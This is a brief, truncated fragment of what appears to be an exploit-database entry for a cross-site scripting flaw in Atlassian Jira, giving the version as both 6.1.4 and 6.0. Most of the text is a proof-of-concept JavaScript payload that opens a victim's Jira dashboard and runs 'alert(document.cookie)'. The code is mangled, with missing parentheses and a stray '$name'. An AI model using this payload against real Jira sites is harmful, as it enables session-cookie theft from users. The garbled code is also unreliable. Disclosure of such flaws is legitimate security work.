Atlassian Jira 6.1.4 Cross Site Scripting

Exploit Title: Atlassian Jira 6.0. $name --- Proof of Concept --- var victim= window.open'https://victim/secure/Dashboard.jspa ', 'alertdocument.cookie;';...